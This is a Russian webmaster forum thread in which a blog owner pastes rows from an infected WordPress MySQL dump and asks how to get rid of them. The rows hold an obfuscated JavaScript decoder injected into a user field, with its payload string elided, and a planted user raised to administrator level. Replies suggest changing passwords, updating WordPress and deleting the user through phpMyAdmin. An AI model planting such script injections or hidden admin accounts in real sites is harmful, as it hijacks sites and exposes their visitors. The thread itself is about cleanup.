|
|
|
|
![]()
vitvirtual
виртуальный |
Зарегистрирован: 11.06.2007
Сообщений: 9061
|
Обратиться по нику
|
| vitvirtual |
Ответить с цитатой | | |
|
Вот код сплойта из дампа mysql:
| Цитата: |
(37, 7, 'first_name', '<script LANGUAGE="JavaScript">function Decode(){var temp="",i,c=0,out="";var str="blablabla_длинная_закодированная_строка";l=str.length;while(c<=str.length-1){while(str.charAt(c)!=''!'')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}\n</script><script LANGUAGE="JavaScript">\nDecode();\n</SCRIPT>'),
(33, 7, 'nickname', 'user_name'),
(38, 7, 'wp_user_level', '10');
|
Подменяет собой админа сайта и все дальнейшие статьи публикуются из под этого пользователя. Никаких видимых врезок кода на страничке в виде html не замечается. Я так понял, что сплойт вставляет бот в дыры, но не все сайты потом "обрабатывает", или руками обрабатывают, но у блога низкие показатели, и на него забили.
Вопрос: как от этой гадости избавиться с наименьшим количеством телодвижений.
P.S. В дальнейшем все живые блоги будут обновляться и переноситься в один инсталл на wp 3.x, сейчас просто нужно от этого избавиться в существующей версии, до обновления всех блогов руки дойдут не скоро! |
|
|
|
|
|
www.King-Servers.com - Dedicated Servers от 65$, VDS от 25$ |
![]()
Tomas-R + +
V.I.P. |
Зарегистрирован: 07.01.2008
Сообщений: 5567
|
Обратиться по нику
|
| Tomas-R + + |
Ответить с цитатой | | |
|
сделай поиск/замену во всех файлах на хосте для начала
смени FTP пасс
обнови WP |
|
|
|
|
|
рекламная подпись (в PM) |
![]()
vitvirtual
виртуальный |
Зарегистрирован: 11.06.2007
Сообщений: 9061
|
Обратиться по нику
|
| vitvirtual |
Ответить с цитатой | | |
|
Tomas-R, в том-то и дело, что на ftp все в порядке, базу если обновлю, все равно этот юзер останется, что-то с базой нужно делать, не знаю что, может экспорт/импорт в новый инсталл блога, так все равно , мне кажется, никуда от этого юзера не деться  |
|
|
|
|
|
www.King-Servers.com - Dedicated Servers от 65$, VDS от 25$ |
![]()
Tomas-R + +
V.I.P. |
Зарегистрирован: 07.01.2008
Сообщений: 5567
|
Обратиться по нику
|
| Tomas-R + + |
Ответить с цитатой | | |
|
| попробй локально (н денвере ) запустить wp с этой базой т вычищай mysql от юзера через phpadmin |
|
|
|
|
|
рекламная подпись (в PM) |
|
|
|
Партнеры
|
